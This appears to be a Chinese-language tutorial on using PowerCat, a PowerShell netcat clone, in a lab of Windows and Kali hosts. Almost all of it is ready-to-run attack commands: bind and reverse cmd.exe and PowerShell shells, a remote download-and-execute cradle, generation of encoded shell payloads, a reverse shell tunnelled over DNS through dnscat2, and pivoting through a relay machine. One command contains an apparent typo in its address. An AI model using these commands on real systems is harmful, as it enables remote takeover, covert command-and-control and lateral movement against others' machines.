PowerCat可以說是nc的PowerShell版本。可以通過執行命令回到本地運行,亦可以使用遠程權限運行。
- 下載地址:https://github.com/besimorhino/powercat
切換到該目錄,輸入:Import-Module ./powercat.ps1
發現報錯。輸入 "Set-ExecutionPolicy RemoteSigned",然后輸入y,再次運行就行了 - Powercat命令操作詳解
測試環境:
window7 192.168.2.183 1.1.1.11
winserver2008 1.1.1.4
KaliLinux 192.168.2.181 - 通過nc正向連接Powercat
在win7執行監聽命令: powercat -l -p 8080 -e cmd.exe -v
然后在kali執行: netcat win7的外網ip 8080 -vv - 通過nc反向連接powercat
在KaliLinux執行下列命令:
netcat -l -p 8888 -vv
在win7執行:
powercat -c Kali的ip -p 8888 -v -e cmd.exe - 通過Powercat返回Powershell
在Winserver2008中執行:
IEX(New-Object Net.WebClient).DownloadString('http://1.1.1.10/powercat.ps1')
在win7中執行:
powercat -c 1.1.1.129 -p 9999 -v -ep - 通過Powercat傳輸文件
在win7新建test.txt文件,放在c盤根目錄、在winserver2008中執行下列命令。
powercat -l -p 9999 -of test.txt -v
回到win7中,執行如下命令:
powercat -c 1.1.1.4 -p 9999 -i c:\test.txt -v - 用PowerCat生成Payload
在Win7執行下面命令:
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
將生成的ps1文件上傳到Winserver2008中並且執行,然后在win7中執行如下命令,就可以獲得一個反彈shell:
powercat -c 1.1.1.4 -p 8000 -v
如果想反彈Powershell,可以執行如下命令:
powercat -l -p 8000 -ep -v -g >> shell.ps1
生成經過編碼的Payload。在win7執行如下命令:
powercat -c 1.1.1.4 -p 9999 -ep -ge
繼續在win7執行:
powercat -l -p 9999 -v - Powercat DNS隧道通信
首先需要安裝dnscat,然后在安裝了dnscat的Linux主機上執行如下命令:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
然后在win7上執行下面命令,就能看到dnscat上面的反彈shell:
powercat -c 192.168.2.181 -p 53 -dns ttpowercat.test -e cmd.exe - 將Powercat作為跳板
將win7作為跳板,讓Kali連接winserver2008。首先,在winserver2008中執行:
powercat -l -v -p 9999 -e cmd.exe
然后在win7中執行:
powercat -l -v -p 8000 -r tcp:1.1.1.4:9999
最后,讓kali和win7進行連接,win7就可以將流量轉發給winserver2008。
在kali輸入:
nc 192.168.2.183 8000 -vv
成功連接。
在這里也可以使用DNS協議。在win7中執行如下命令:
powercat -l -p 8000 -r dns::192.168.2.181::ttpowercat.test
在kali中輸入如下命令,啟動dnscat
ruby dnscat2.rb ttpowercat.test -e open --no-cache
在winserver2008中輸入下面命令,就可以反彈shell了
powercat -c -1.1.1.11 -p 8000 -v -e cmd.exe